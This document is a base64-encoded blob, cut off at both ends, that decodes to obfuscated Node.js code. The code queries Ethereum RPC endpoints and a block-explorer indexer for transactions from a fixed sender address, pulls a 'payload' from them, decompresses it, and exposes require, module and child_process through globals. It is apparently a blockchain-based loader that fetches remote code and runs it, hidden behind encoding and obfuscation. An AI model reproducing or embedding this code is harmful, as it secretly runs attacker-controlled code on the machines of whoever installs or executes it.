49dHhsaXN0JicsJ2p2Z0twJywnS1hpTEsnLCdXaW42NDtceDIweDY0Jywnbm9kZTp6bGliJywnZ3ppcCcsJ2h0dHBzOi8vMXInLCdub2RlOmh0dHAnLCdoZWFkZXJzJywnY3JlYXRlR3VueicsJ0piQWNpJywnekJJY3cnLCdtYXAnLCdwYXRobmFtZScsJ25naG52JywnLnB1YmxpY25vZCcsJ2ZhcmkvNTM3LjMnLCdScFBJTycsJzo4MCcsJ1ZuRlZxJywnbVx4MjddPW1vZHVsZScsJ2hyVVZUJywndG9TdHJpbmcnLCdoZXgnLCdMQmpVaicsJ190X3MnLCdwb3J0JywnX0gyXHgyN109XHgyNycsJ1FMbWZnJywnOSZwYWdlPTEmbycsJ2FwcGxpY2F0aW8nLCdZWktUaicsJ2ZpbmRJbmRleCcsJ1ZMQUdmJywnY3JlYXRlSW5mbCcsJ3RyYW5zYWN0aW8nLCdnbGRRSycsJ0d1WVBmJywnaC5kcnBjLm9yZycsJ19IMicsJ3V0LmNvbS9hcGknLCdmTFlYZCcsJ2hhcycsJ0NvbnRlbnQtTGUnLCdjb250cm9sbGVyJywnYXZlSWMnLCd0YXZadCcsJ0JKZ3pFJywnYWRkJywnNDlvTnVYSHMnLCdKVmtRRicsJ0dBdnhlJywndW5yZWYnLCd0aGVuJywnYWw9Z2xvYmFsOycsJ1x4MjddPVx4MjcnLCd2V3p4aScsJ25vZGU6dXJsJywnb01ubmcnLCdodHRwOi8vJywncnVuJywnXHgyMENocm9tZS8xMycsJzo0NDMnLCdiWGNUSScsJ2s9MCZlbmRibG8nLCdsblFhbCcsJ0BeMWFRaycsJ3gtZ3ppcCcsJ25vbmNlJywnZS5jb20nLCdiTG9sSicsJ2lrZVx4MjBHZWNrbyknLCdndmdQRCcsJ2Zyb20nLCdLYWZPaCcsJ2guYmxvY2tzY28nLCdoZXJldW0tcnBjJywnb3J0PWRlc2MmZicsJ1RDRG1CJywnTHNzVVQnLCdodHRwczovL2V0JywnYWRkRXZlbnRMaScsJ3BpcGUnLCdwcm90b2NvbCcsJ2Zmc2V0PTIwJnMnLCdwdXNoJywnWmdwcUcnLCdUbm5sZycsJ3V0ZjgnLCdQT1NUJywnYnl0ZUxlbmd0aCcsJ3FGT2NRJywnY3JlYXRlQnJvdCcsJ3VncmhMJywnZXRoX2Jsb2NrTicsJ1NjWGlMJywnV1luc2EnLCcwXHgyMChXaW5kb3dzJywnendqVHInLCdlRVF2VScsJ2I2NCcsJ0hpV1lZJywnQ29udGVudC1UeScsJ2F0ZSxceDIwYnInLCd4eHhzbycsJ0thYVBZJywnZklrT3cnLCdibG9ja051bWJlJywnOWFkYzI0OTBlZicsJ2VBbXRPJywnbWluJywnd05FQXInLCd1Y1ZGSycsJ2p1ZU1qJywnbmd0aCcsJ0ZmSFliJywnZ3pLV3MnLCdQU3pKaycsJ3Jlc3VtZScsJ3ktcF8+ZCQwQiYnLCduSUxFTCcsJ2hvc3RuYW1lJywnS1FsZFInLCdmb3JFYWNoJywnYmFzZTY0JywnMi4wJywnc3RyaW5naWZ5JywnWkd0Y2cnLCdhYm9ydCcsJ2ZpbHRlcicsJ3JNWm5EJywnZmluZCcsJzEuMC4wLjBceDIwU2EnLCdNeG9JdicsJ3NaQUhTJywnZmJBUXknLCdkUWhqUicsJ2NvdW50JmFjdGknLCdxcUtvWCcsJzM5OTk3MTJEWGdLbVUnLCd6aUpBSScsJ3E0RlpreFh7IWgnLCduL2pzb24nLCd4LXBheWxvYWQtJywnZm9IdXInLCdSV3JWYycsJ2NoYXJDb2RlQXQnLCdubnhPdicsJ21qQ0F3JywnZGF0YScsJ2pyZFhEJywnYXRlJywnWllCQmUnLCdldGhfZ2V0VHJhJywnYWxsJywnODgzNTU0Z3dLa2loJywnd3JpdGUnLCdKUUtWRycsJ21HZ3RiJywnTWlzc2luZ1x4MjBYLScsJ2NrPTk5OTk5OTknLCd0am5nZicsJ2FkZHJlc3M9JywncmVwbGFjZScsJ3JceDI3XT1yZXF1aXInLCdmSktzdicsJzUwNTAxNzBKQUFzUmEnLCdlcnJvcicsJ3RvTG93ZXJDYXMnLCd4Yk1pTicsJ2lsdGVyYnk9ZnInLCd2SnZYZicsJ3JhQ1pVJywncmVxdWVzdCcsJ2NvbnRlbnQtZW4nLCd1bnQnLCdYTHlsSycsJ2QzMTFkMzA4MGUnLCdUT2t3eCcsJ2xlbmd0aCcsJ1dNckNQJywnREdrc0UnLCduc2FjdGlvbkNvJywnRldVaUgnLCdSc1pwaCcsJ2FQWlVNJywncGFyc2UnLCdodHRwczonLCdyZXN1bHQnLCdvYmplY3QnLCd1bWJlcicsJ1ZNblFnJywnQ0RiekwnLCdFbXB0eVx4MjBwYXlsJywnXHgyME5UXHgyMDEwLjA7XHgyMCcsJzJLZU5CaUMnLCdzdWJhcnJheScsJ3d2R2VHJywnQ1Vyd2gnLCdceDIwKEtIVE1MLFx4MjBsJywnWHJaWXMnLCdWR09sSicsJzo0NDMvMHgvY2wnLCcmc3RhcnRibG9jJywncmpTWm0nLCdMVEdmZScsJ1pBbE95JywnZ2V0JywnNmYwMTIxMDYzZScsJ2RlZmxhdGUnLCdNanp4SCcsJ25vZGUnLCdceDI3O2dsb2JhbFtceDI3JywnP21vZHVsZT1hYycsJzM2MDY4OFJUWXNEZicsJ3N0YXBpLmlvJywnaXNBcnJheScsJ2VXQ0t0JywnX3Byb2Nlc3MnLCdoLW1haW5uZXQuJywnR0dxd2YnLCdlSUhTbScsJ3hRdW9IJywnc3RlbmVyJywnX0hceDI3XT1ceDI3JywnTW96aWxsYS81LicsJ2RqZ2FhJywnRFNiTGEnLCdxaU9ERicsJ2dsb2JhbFtceDI3X1YnLCdjYXRjaCcsJ2NWak1SJywnU1hmZ2snLCd2VmtCcicsJ1FNd0hHJywnbm9kZTpjaGlsZCcsJzt2YXJceDIwX2dsb2InLCdjb25jYXQnLCdKR1VwcScsJ2hYYWF1JywnWEhOeXInLCdzaWduYWwnLCc1NDA3MTEycnZMWURTJywnY2tCeU51bWJlcicsJ3NlYXJjaCcsJ2lnbm9yZScsJ3BjLmlvL2V0aCcsJ2U7Z2xvYmFsW1x4MjcnLCdnSVdXTycsJ1NISkpkJywnSk9EdnAnLCdZdlp4ZicsJ190X3UnLCcpXHgyMEFwcGxlV2ViJywnQ1JLaVQnLCd0cUpoVicsJ0hFQUQnXTtfMHgxMmYwPWZ1bmN0aW9uKCl7cmV0dXJuIF8weDJjMmZhODt9O3JldHVybiBfMHgxMmYwKCk7fWZ1bmN0aW9uIGZpcnN0TWF0Y2goXzB4MjFiNjI0KXtjb25zdCBfMHg1ZjU5ODU9eydmSWtPdyc6ZnVuY3Rpb24oXzB4MjI4ODM1LF8weDVjOTlkYil7cmV0dXJuIF8weDIyODgzNShfMHg1Yzk5ZGIpO30sJ2ZKS3N2JzpmdW5jdGlvbihfMHg2ZTQ5YWQsXzB4NWRhNTkyKXtyZXR1cm4gXzB4NmU0OWFkPT1fMHg1ZGE1OTI7fSwnYXZlSWMnOmZ1bmN0aW9uKF8weDVmNTBlOSxfMHg0Y2Y1MjYpe3JldHVybiBfMHg1ZjUwZTkoXzB4NGNmNTI2KTt9LCdKVmtRRic6ZnVuY3Rpb24oXzB4MWI5Y2FkLF8weDM0ZTc0Zil7cmV0dXJuIF8weDFiOWNhZCE9XzB4MzRlNzRmO30sJ1FMbWZnJzpmdW5jdGlvbihfMHgyYjFkMzksXzB4ZmRmOTVkKXtyZXR1cm4gXzB4MmIxZDM5KF8weGZkZjk1ZCk7fSwnZ2xkUUsnOmZ1bmN0aW9uKF8weDMzMDc1MyxfMHgxODM3ZGUpe3JldHVybiBfMHgzMzA3NTMoXzB4MTgzN2RlKTt9fTtyZXR1cm4gbmV3IFByb21pc2UoXzB4MTA1NWE2PT57Y29uc3QgXzB4NDNhMjAwPV8weDM1NWUsXzB4NTc0NDk2PXsncXFLb1gnOmZ1bmN0aW9uKF8weDRmMmUxMyxfMHgxNmI1YWUpe2NvbnN0IF8weDRiZmI1Nj1fMHgzNTVlO3JldHVybiBfMHg1ZjU5ODVbXzB4NGJmYjU2KDB4MTcwKV0oXzB4NGYyZTEzLF8weDE2YjVhZSk7fX07bGV0IF8weDM0ZDBhMz1fMHgyMWI2MjRbXzB4NDNhMjAwKDB4Y2QpXTtpZighXzB4MzRkMGEzKXJldHVybiBfMHg1ZjU5ODVbXzB4NDNhMjAwKDB4MTY3KV0oXzB4MTA1NWE2LG51bGwpO2xldCBfMHgxMmYxOTA9ISgweDEqLTB4ZWFkKy0weDI1ZDUrMHgzNDgzKSxfMHg0ZWEzOGU9XzB4MzQ0Nzc1PT57Y29uc3QgXzB4NWE2ZjlhPV8weDQzYTIwMDtpZighXzB4MTJmMTkwKXtmb3IobGV0IF8weDExYzE0YiBvZihfMHgxMmYxOTA9ISgtMHgxM2M0Ky0weDFhMDIrMHgyZGM2KSxfMHgyMWI2MjQpKV8weDExYzE0YltfMHg1YTZmOWEoMHgxNmYpXVtfMHg1YTZmOWEoMHg5YSldKCk7XzB4NTc0NDk2W18weDVhNmY5YSgweGE0KV0oXzB4MTA1NWE2LF8weDM0NDc3NSk7fX07Zm9yKGxldCBfMHgyNjY3MTAgb2YgXzB4MjFiNjI0KV8weDI2NjcxMFtfMHg0M2EyMDAoMHgxN2YpXSgpW18weDQzYTIwMCgweDE3OCldKF8weDE5M2Y5ND0+e2NvbnN0IF8weDFjYmZkOD1fMHg0M2EyMDA7XzB4MTJmMTkwfHwoXzB4MTkzZjk0P18weDVmNTk4NVtfMHgxY2JmZDgoMHgxYWQpXShfMHg0ZWEzOGUsXzB4MTkzZjk0KTpfMHg1ZjU5ODVbXzB4MWNiZmQ4KDB4YmYpXSgweGUwKjB4NCsweDEqMHgxYmY3Ky0weDFmNzcsLS1fMHgzNGQwYTMpJiZfMHg1ZjU5ODVbXzB4MWNiZmQ4KDB4MTcwKV0oXzB4MTA1NWE2LG51bGwpKTt9KVtfMHg0M2EyMDAoMHgxMDApXSgoKT0+e2NvbnN0IF8weGViZDk3OT1fMHg0M2EyMDA7XzB4MTJmMTkwfHxfMHg1ZjU5ODVbXzB4ZWJkOTc5KDB4MTc1KV0oLTB4YzM5KzB4NzIzKzB4NTE2LC0tXzB4MzRkMGEzKXx8XzB4NWY1OTg1W18weGViZDk3OSgweDE1ZildKF8weDEwNTVhNixudWxsKTt9KTt9KTt9ZnVuY3Rpb24gY2FuZGlkYXRlQmxvY2tzKF8weDNjZGFmOSl7Y29uc3QgXzB4M2UxNmI3PV8weDNhMmViZSxfMHgyNmExNTQ9eydDUktpVCc6ZnVuY3Rpb24oXzB4Mjk2MjcwLF8weDE4MjFiNSl7cmV0dXJuIF8weDI5NjI3MC1fMHgxODIxYjU7fSwnbm54T3YnOmZ1bmN0aW9uKF8weGQ3OTdlYSxfMHgxODc0ZjApe3JldHVybiBfMHhkNzk3ZWEtXzB4MTg3NGYwO30sJ0JKZ3pFJzpmdW5jdGlvbihfMHgxN2E3NDYsXzB4MTk4YzVlKXtyZXR1cm4gXzB4MTdhNzQ2K18weDE5OGM1ZTt9LCduZ2hudic6ZnVuY3Rpb24oXzB4YzRiN2I5LF8weDUyZGJkOSl7cmV0dXJuIF8weGM0YjdiOS1fMHg1MmRiZDk7fSwnZkxZWGQnOmZ1bmN0aW9uKF8weDljZjAyOCxfMHgyNjhjNDMpe3JldHVybiBfMHg5Y2YwMjgrXzB4MjY4YzQzO30sJ1dNckNQJzpmdW5jdGlvbihfMHgxZjM0MjEsXzB4MWM1ODIyKXtyZXR1cm4gXzB4MWYzNDIxPF8weDFjNTgyMjt9fTtsZXQgXzB4NGE1NWVmPV8weDI2YTE1NFtfMHgzZTE2YjcoMHgxMTgpXShfMHgzY2RhZjksQkxPQ0tfTVVMVElQTEUpLF8weDVlNWM1MT1uZXcgU2V0KCksXzB4NDgyNzk0PVtdO2ZvcihsZXQgXzB4MmQyNjY2IG9mW18weDI2YTE1NFtfMHgzZTE2YjcoMHhhZCldKF8weDNjZGFmOSwweDFuKSxfMHgzY2RhZjksXzB4MjZhMTU0W18weDNlMTZiNygweDE3MildKF8weDNjZGFmOSwweDFuKSxfMHgyNmExNTRbXzB4M2UxNmI3KDB4MTUxKV0oXzB4NGE1NWVmLDB4MW4pLF8weDRhNTVlZixfMHgyNmExNTRbXzB4M2UxNmI3KDB4MTZjKV0oXzB4NGE1NWVmLDB4MW4pXSl7aWYoXzB4MjZhMTU0W18weDNlMTZiNygweGNlKV0oXzB4MmQyNjY2LDB4MG4pKWNvbnRpbnVlO2xldCBfMHgzYWUzMjE9XzB4MmQyNjY2W18weDNlMTZiNygweDE1OSldKCk7XzB4NWU1YzUxW18weDNlMTZiNygweDE2ZCldKF8weDNhZTMyMSl8fChfMHg1ZTVjNTFbXzB4M2UxNmI3KDB4MTczKV0oXzB4M2FlMzIxKSxfMHg0ODI3OTRbXzB4M2UxNmI3KDB4MTk4KV0oXzB4MmQyNjY2KSk7fXJldHVybiBfMHg0ODI3OTQ7fWZ1bmN0aW9uIGJsb2NrVGFzayhfMHg0MjA4OWMpe2NvbnN0IF8weDQzZjY3Nz17J3dORUFyJzpmdW5jdGlvbihfMHg1ZDYzOTgsXzB4MzQ2NTQ4LF8weDQ0YzMxOCl7cmV0dXJuIF8weDVkNjM5OChfMHgzNDY1NDgsXzB4NDRjMzE4KTt9LCd6aUpBSSc6ZnVuY3Rpb24oXzB4MTkxOWQwLF8weDEzODY3MCl7cmV0dXJuIF8weDE5MTlkMChfMHgxMzg2NzApO319O2xldCBfMHhjNTFkN2I9bmV3IEFib3J0Q29udHJvbGxlcigpO3JldHVybnsnY29udHJvbGxlcic6XzB4YzUxZDdiLGFzeW5jICdydW4nKCl7Y29uc3QgXzB4NDgwMGY4PV8weDM1NWU7bGV0IF8weDNmY2RiND1hd2FpdCBfMHg0M2Y2NzdbXzB4NDgwMGY4KDB4MWIyKV0od2l0aFJwY0VuZHBvaW50cywoXzB4M2MzMzUxLF8weDQ1YTI2Yik9PnJwY0NhbGwoXzB4M2MzMzUxLF8weDQ4MDBmOCgweDEzZikrXzB4NDgwMGY4KDB4MTBkKSxbdG9CbG9ja0hleChfMHg0MjA4OWMpLCEoLTB4MSoweGFlYistMHg3KjB4NTkrLTB4MSotMHhkNWEpXSxfMHg0NWEyNmIpLF8weGM1MWQ3YltfMHg0ODAwZjgoMHgxMGIpXSksXzB4YTE3NTY1PV8weDNmY2RiND8uW18weDQ4MDBmOCgweDE2NikrJ25zJ107aWYoIUFycmF5W18weDQ4MDBmOCgweGYyKV0oXzB4YTE3NTY1KSlyZXR1cm4gbnVsbDtsZXQgXzB4M2FhZjM4PV8weDQzZjY3N1tfMHg0ODAwZjgoMHhhNildKGZpbmRTZW5kZXJUeCxfMHhhMTc1NjUpO3JldHVybiBfMHgzYWFmMzg/eydibG9ja051bWJlcic6XzB4NDIwODljLCd0eCc6XzB4M2FhZjM4fTpudWxsO319O31hc3luYyBmdW5jdGlvbiBub25jZUF0QmxvY2tzKF8weDQ4YjBiNyxfMHhlYmEwOTMpe2NvbnN0IF8weDJiZjg2ZD1fMHgzYTJlYmUsXzB4MzA2ODc4PXsnQ1Vyd2gnOmZ1bmN0aW9uKF8weDU5MTdiYSxfMHg4MGEwNzUsXzB4NWYxZWU4KXtyZXR1cm4gXzB4NTkxN2JhKF8weDgwYTA3NSxfMHg1ZjFlZTgpO319O2xldCBfMHg1YzFhMDU9XzB4NDhiMGI3W18weDJiZjg2ZCgweDE0ZildKF8weDFkY2RlZj0+W18weDJiZjg2ZCgweGIzKStfMHgyYmY4NmQoMHhkMCkrXzB4MmJmODZkKDB4YzkpLFtTRU5ERVIsdG9CbG9ja0hleChfMHgxZGNkZWYpXV0pO3RyeXtyZXR1cm4oYXdhaXQgXzB4MzA2ODc4W18weDJiZjg2ZCgweGUwKV0od2l0aFJwY0VuZHBvaW50cywoXzB4ZDc0NmYsXzB4NDczNTIyKT0+cnBjQmF0Y2goXzB4ZDc0NmYsXzB4NWMxYTA1LF8weDQ3MzUyMiksXzB4ZWJhMDkzKSlbXzB4MmJmODZkKDB4MTRmKV0oQmlnSW50KTt9Y2F0Y2h7cmV0dXJuKGF3YWl0IFByb21pc2VbXzB4MmJmODZkKDB4YjQpXShfMHg1YzFhMDVbXzB4MmJmODZkKDB4MTRmKV0oKFtfMHgyYmFiZmYsXzB4M2EzYjY2XSk9PndpdGhScGNFbmRwb2ludHMoKF8weDE0OTg0NCxfMHhiODNmZTcpPT5ycGNDYWxsKF8weDE0OTg0NCxfMHgyYmFiZmYsXzB4M2EzYjY2LF8weGI4M2ZlNyksXzB4ZWJhMDkzKSkpKVtfMHgyYmY4NmQoMHgxNGYpXShCaWdJbnQpO319YXN5bmMgZnVuY3Rpb24gbGFzdFNlbmRlclR4KF8weDY5NDdhNil7Y29uc3QgXzB4MmZkNTQxPV8weDNhMmViZSxfMHg4NjVmMGQ9eydUT2t3eCc6ZnVuY3Rpb24oXzB4NWQyZDU4LF8weDgwMTBmZCl7cmV0dXJuIF8weDVkMmQ1OChfMHg4MDEwZmQpO30sJ21HZ3RiJzpmdW5jdGlvbihfMHg1OGYyN2MsXzB4NGM0NWI3LF8weDNjNjAwZSl7cmV0dXJuIF8weDU4ZjI3YyhfMHg0YzQ1YjcsXzB4M2M2MDBlKTt9LCdNanp4SCc6ZnVuY3Rpb24oXzB4MWMxZTI4LF8weDMyMTFhYil7cmV0dXJuIF8weDFjMWUyOChfMHgzMjExYWIpO30sJ0pRS1ZHJzpmdW5jdGlvbihfMHg0YzZjZTQsXzB4M2I3OGQxKXtyZXR1cm4gXzB4NGM2Y2U0LV8weDNiNzhkMTt9LCd1Y1ZGSyc6ZnVuY3Rpb24oXzB4MWZhN2Y4LF8weDFlNTRiMCl7cmV0dXJuIF8weDFmYTdmOD5fMHgxZTU0YjA7fSwnb01ubmcnOmZ1bmN0aW9uKF8weDUxNDM5MSxfMHg1NjIyMGMpe3JldHVybiBfMHg1MTQzOTEoXzB4NTYyMjBjKTt9LCdOa0tEaCc6ZnVuY3Rpb24oXzB4M2ZjY2Q3LF8weDM1OThhZSl7cmV0dXJuIF8weDNmY2NkNzw9XzB4MzU5OGFlO30sJ2xuUWFsJzpmdW5jdGlvbihfMHgzNWYxODcsXzB4MjcxYjQ3KXtyZXR1cm4gXzB4MzVmMTg3K18weDI3MWI0Nzt9LCdmb0h1cic6ZnVuY3Rpb24oXzB4MWU3YjNiLF8weDE5YzYwNSl7cmV0dXJuIF8weDFlN2IzYi9fMHgxOWM2MDU7fSwnU0RiaUknOmZ1bmN0aW9uKF8weDQzYzJmMCxfMHhiZGM1NTkpe3JldHVybiBfMHg0M2MyZjAqXzB4YmRjNTU5O30sJ0NEYnpMJzpmdW5jdGlvbihfMHg0NjE1MzgsXzB4MjJjN2Q2KXtyZXR1cm4gXzB4NDYxNTM4K18weDIyYzdkNjt9LCdHR3F3Zic6ZnVuY3Rpb24oXzB4NGMxYWNjLF8weDFmNjM5NCl7cmV0dXJuIF8weDRjMWFjYz09PV8weDFmNjM5NDt9LCdmYkFReSc6ZnVuY3Rpb24oXzB4ZTc4YjEwLF8weDJhMmQyOCl7cmV0dXJuIF8weGU3OGIxMChfMHgyYTJkMjgpO319O2xldCBfMHgxMjI4ZDA9bmV3IEFib3J0Q29udHJvbGxlcigpO3RyeXtsZXQgXzB4NzcxN2M1PV8weDY5NDdhNj8/XzB4ODY1ZjBkW18weDJmZDU0MSgweGNjKV0oQmlnSW50LGF3YWl0IF8weDg2NWYwZFtfMHgyZmQ1NDEoMHhiOCldKHdpdGhScGNFbmRwb2ludHMsKF8weDIyNTQ3NCxfMHgzOThlZWQpPT5ycGNDYWxsKF8weDIyNTQ3NCxfMHgyZmQ1NDEoMHgxYTEpK18weDJmZDU0MSgweGQ4KSxbXSxfMHgzOThlZWQpLF8weDEyMjhkMFtfMHgyZmQ1NDEoMHgxMGIpXSkpLF8weGUzMjg0Nz1fMHg4NjVmMGRbXzB4MmZkNTQxKDB4ZWMpXShCaWdJbnQsYXdhaXQgXzB4ODY1ZjBkW18weDJmZDU0MSgweGI4KV0od2l0aFJwY0VuZHBvaW50cywoXzB4MTY2ZTZlLF8weDIwYTI0Zik9PnJwY0NhbGwoXzB4MTY2ZTZlLF8weDJmZDU0MSgweGIzKStfMHgyZmQ1NDEoMHhkMCkrXzB4MmZkNTQxKDB4YzkpLFtTRU5ERVIsdG9CbG9ja0hleChfMHg3NzE3YzUpXSxfMHgyMGEyNGYpLF8weDEyMjhkMFtfMHgyZmQ1NDEoMHgxMGIpXSkpLF8weDJjN2NhMT1fMHg4NjVmMGRbXzB4MmZkNTQxKDB4YjcpXShfMHhlMzI4NDcsMHgxbiksXzB4MzZkYzBiPV8weDg2NWYwZFtfMHgyZmQ1NDEoMHhiNyldKFNFQVJDSF9GTE9PUiwweDFuKSxfMHg1N2JlYjU9XzB4NzcxN2M1O2Zvcig7XzB4ODY1ZjBkW18weDJmZDU0MSgweDFiMyldKF8weDg2NWYwZFtfMHgyZmQ1NDEoMHhiNyldKF8weDU3YmViNSxfMHgzNmRjMGIpLDB4MW4pOyl7bGV0IF8weDM3NjM1YT1fMHg4NjVmMGRbXzB4MmZkNTQxKDB4YjcpXShfMHg4NjVmMGRbXzB4MmZkNTQxKDB4YjcpXShfMHg1N2JlYjUsXzB4MzZkYzBiKSwweDFuKSxfMHg0MDIzMmQ9XzB4ODY1ZjBkW18weDJmZDU0MSgweGVjKV0oQmlnSW50LE1hdGhbXzB4MmZkNTQxKDB4MWIxKV0oTk9OQ0VfRkFOT1VULF8weDg2NWYwZFtfMHgyZmQ1NDEoMHgxN2QpXShOdW1iZXIsXzB4Mzc2MzVhKSkpLF8weDVlNTkzZT1bXTtmb3IobGV0IF8weDMyMzQ2MT0weDFuO18weDg2NWYwZFtfMHgyZmQ1NDEoMHgxMzgpXShfMHgzMjM0NjEsXzB4NDAyMzJkKTtfMHgzMjM0NjErPTB4MW4pXzB4NWU1OTNlW18weDJmZDU0MSgweDE5OCldKF8weDg2NWYwZFtfMHgyZmQ1NDEoMHgxODQpXShfMHgzNmRjMGIsXzB4ODY1ZjBkW18weDJmZDU0MSgweGFhKV0oXzB4ODY1ZjBkW18weDJmZDU0MSgweDEyYildKF8weDMyMzQ2MSxfMHg4NjVmMGRbXzB4MmZkNTQxKDB4YjcpXShfMHg1N2JlYjUsXzB4MzZkYzBiKSksXzB4ODY1ZjBkW18weDJmZDU0MSgweGRhKV0oXzB4NDAyMzJkLDB4MW4pKSkpO2xldCBfMHg1YWFlOTk9YXdhaXQgXzB4ODY1ZjBkW18weDJmZDU0MSgweGI4KV0obm9uY2VBdEJsb2NrcyxfMHg1ZTU5M2UsXzB4MTIyOGQwW18weDJmZDU0MSgweDEwYildKSxfMHg1NDE1ZTc9XzB4NWFhZTk5W18weDJmZDU0MSgweDE2MyldKF8weDU5YWQwOT0+XzB4NTlhZDA5Pj1fMHhlMzI4NDcpO18weDg2NWYwZFtfMHgyZmQ1NDEoMHhmNildKC0oMHhlMyotMHgyOSsweGU1ZSoweDIrMHg3YTAqMHgxKSxfMHg1NDE1ZTcpP18weDM2ZGMwYj1fMHg1ZTU5M2VbXzB4ODY1ZjBkW18weDJmZDU0MSgweGI3KV0oXzB4NWU1OTNlW18weDJmZDU0MSgweGNkKV0sLTB4NiotMHg0YTIrMHgyNDc4Ky0weDQwNDMpXTooXzB4NTdiZWI1PV8weDVlNTkzZVtfMHg1NDE1ZTddLF8weDg2NWYwZFtfMHgyZmQ1NDEoMHgxYjMpXShfMHg1NDE1ZTcsLTB4MTcwKi0weDUrLTB4YmRmKy0weDZkKi0weGIpJiYoXzB4MzZkYzBiPV8weDVlNTkzZVtfMHg4NjVmMGRbXzB4MmZkNTQxKDB4YjcpXShfMHg1NDE1ZTcsLTB4MTIxYisweDg2OSotMHgxKzB4MyoweDhkNyldKSk7fWxldCBfMHg0NGEyZTE9YXdhaXQgXzB4ODY1ZjBkW18weDJmZDU0MSgweGI4KV0od2l0aFJwY0VuZHBvaW50cywoXzB4NWFhMjQ2LF8weDM1NmEwNSk9PnJwY0NhbGwoXzB4NWFhMjQ2LF8weDJmZDU0MSgweDEzZikrXzB4MmZkNTQxKDB4MTBkKSxbdG9CbG9ja0hleChfMHg1N2JlYjUpLCEoLTB4ODcwKjB4MSstMHgxYjViKzB4MjNjYildLF8weDM1NmEwNSksXzB4MTIyOGQwW18weDJmZDU0MSgweDEwYildKSxfMHgyYThhZDA9XzB4NDRhMmUxPy5bXzB4MmZkNTQxKDB4MTY2KSsnbnMnXXx8W10sXzB4NWQ3YTFhPW51bGw7Zm9yKGxldCBfMHgyZWYyYjQgb2YgXzB4MmE4YWQwKWlmKF8weDJlZjJiNFtfMHgyZmQ1NDEoMHgxOGMpXSYmXzB4ODY1ZjBkW18weDJmZDU0MSgweGY2KV0oXzB4MmVmMmI0W18weDJmZDU0MSgweDE4YyldW18weDJmZDU0MSgweGMyKSsnZSddKCksU0VOREVSKSl7aWYoXzB4ODY1ZjBkW18weDJmZDU0MSgweGY2KV0oXzB4ODY1ZjBkW18weDJmZDU0MSgweDE3ZCldKEJpZ0ludCxfMHgyZWYyYjRbXzB4MmZkNTQxKDB4MTg3KV0pLF8weDJjN2NhMSkpe18weDVkN2ExYT1fMHgyZWYyYjQ7YnJlYWs7fSghXzB4NWQ3YTFhfHxfMHg4NjVmMGRbXzB4MmZkNTQxKDB4MWIzKV0oXzB4ODY1ZjBkW18weDJmZDU0MSgweDE3ZCldKEJpZ0ludCxfMHgyZWYyYjRbXzB4MmZkNTQxKDB4MTg3KV0pLF8weDg2NWYwZFtfMHgyZmQ1NDEoMHhhMSldKEJpZ0ludCxfMHg1ZDdhMWFbXzB4MmZkNTQxKDB4MTg3KV0pKSkmJihfMHg1ZDdhMWE9XzB4MmVmMmI0KTt9cmV0dXJueydibG9ja051bWJlcic6XzB4NTdiZWI1LCd0eCc6XzB4NWQ3YTFhfTt9ZmluYWxseXtfMHgxMjI4ZDBbXzB4MmZkNTQxKDB4OWEpXSgpO319YXN5bmMgZnVuY3Rpb24gbGFzdFNlbmRlclR4VmlhSW5kZXhlcigpe2NvbnN0IF8weDMwMDE2Yj1fMHgzYTJlYmUsXzB4NDYxMTg2PXsneXJ6d1AnOmZ1bmN0aW9uKF8weDIyNGFjYyxfMHgyMWE0ZWYpe3JldHVybiBfMHgyMjRhY2MoXzB4MjFhNGVmKTt9LCdVcUJORCc6ZnVuY3Rpb24oXzB4M2NhNmUyLF8weDZkMGU5NSl7cmV0dXJuIF8weDNjYTZlMihfMHg2ZDBlOTUpO319O2xldCBfMHg2YjM1MzQ9SU5ERVhFUl9VUkwrKF8weDMwMDE2YigweGVmKStfMHgzMDAxNmIoMHhhMykrXzB4MzAwMTZiKDB4MTQzKStfMHgzMDAxNmIoMHhiYykpK1NFTkRFUisoXzB4MzAwMTZiKDB4ZTUpK18weDMwMDE2YigweDE4MykrXzB4MzAwMTZiKDB4YmEpK18weDMwMDE2YigweDE2MCkrXzB4MzAwMTZiKDB4MTk3KStfMHgzMDAxNmIoMHgxOTApK18weDMwMDE2YigweGM0KSsnb20nKSxfMHg1MGRjZDQ9YXdhaXQgXzB4NDYxMTg2W18weDMwMDE2YigweDEzZCldKGh0dHBSZXF1ZXN0LF8weDZiMzUzNCksXzB4M2YxY2QyPUFycmF5W18weDMwMDE2YigweGYyKV0oXzB4NTBkY2Q0Py5bXzB4MzAwMTZiKDB4ZDYpXSk/XzB4NTBkY2Q0W18weDMwMDE2YigweGQ2KV06W10sXzB4NThkNWZlPV8weDNmMWNkMltfMHgzMDAxNmIoMHg5ZCldKF8weDUzNDZjYT0+XzB4NTM0NmNhW18weDMwMDE2YigweDE4YyldJiZfMHg1MzQ2Y2FbXzB4MzAwMTZiKDB4MThjKV1bXzB4MzAwMTZiKDB4YzIpKydlJ10oKT09PVNFTkRFUik7cmV0dXJueydibG9ja051bWJlcic6XzB4NDYxMTg2W18weDMwMDE2YigweDEyNyldKEJpZ0ludCxfMHg1OGQ1ZmVbXzB4MzAwMTZiKDB4MWFlKSsnciddKSwndHgnOl8weDU4ZDVmZX07fWFzeW5jIGZ1bmN0aW9uIHJ1bigpe2NvbnN0IF8weDIxODM4Yz1fMHgzYTJlYmUsXzB4MTIzMTQyPXsnVm5GVnEnOmZ1bmN0aW9uKF8weDM1NDI4OCxfMHgzZmE4MTUpe3JldHVybiBfMHgzNTQyODg8XzB4M2ZhODE1O30sJ1RubmxnJzpmdW5jdGlvbihfMHgxZGYzM2EsXzB4MTU4ZDZjKXtyZXR1cm4gXzB4MWRmMzNhJV8weDE1OGQ2Yzt9LCd1Z3JoTCc6XzB4MjE4MzhjKDB4MTliKSwndHFKaFYnOl8weDIxODM4YygweGE5KStfMHgyMTgzOGMoMHgxYTcpLCd4UXVvSCc6ZnVuY3Rpb24oXzB4MTgzZjVmLF8weDJhZGJkMSl7cmV0dXJuIF8weDE4M2Y1ZihfMHgyYWRiZDEpO30sJ3p3alRyJzpfMHgyMTgzOGMoMHhiOSkrXzB4MjE4MzhjKDB4MTIzKSsnNCcsJ0d1WVBmJzpfMHgyMTgzOGMoMHg5NiksJ2JYY1RJJzpmdW5jdGlvbihfMHg0ODM0YzMsXzB4ZWQ1Y2FhKXtyZXR1cm4gXzB4NDgzNGMzKF8weGVkNWNhYSk7fSwnZ3pLV3MnOl8weDIxODM4YygweGRiKStfMHgyMTgzOGMoMHgxMWQpLCdWTW5RZyc6ZnVuY3Rpb24oXzB4MzhmZjc4LF8weDUyNzY5OCl7cmV0dXJuIF8weDM4ZmY3OD09PV8weDUyNzY5ODt9LCdQU3pKayc6XzB4MjE4MzhjKDB4MTFhK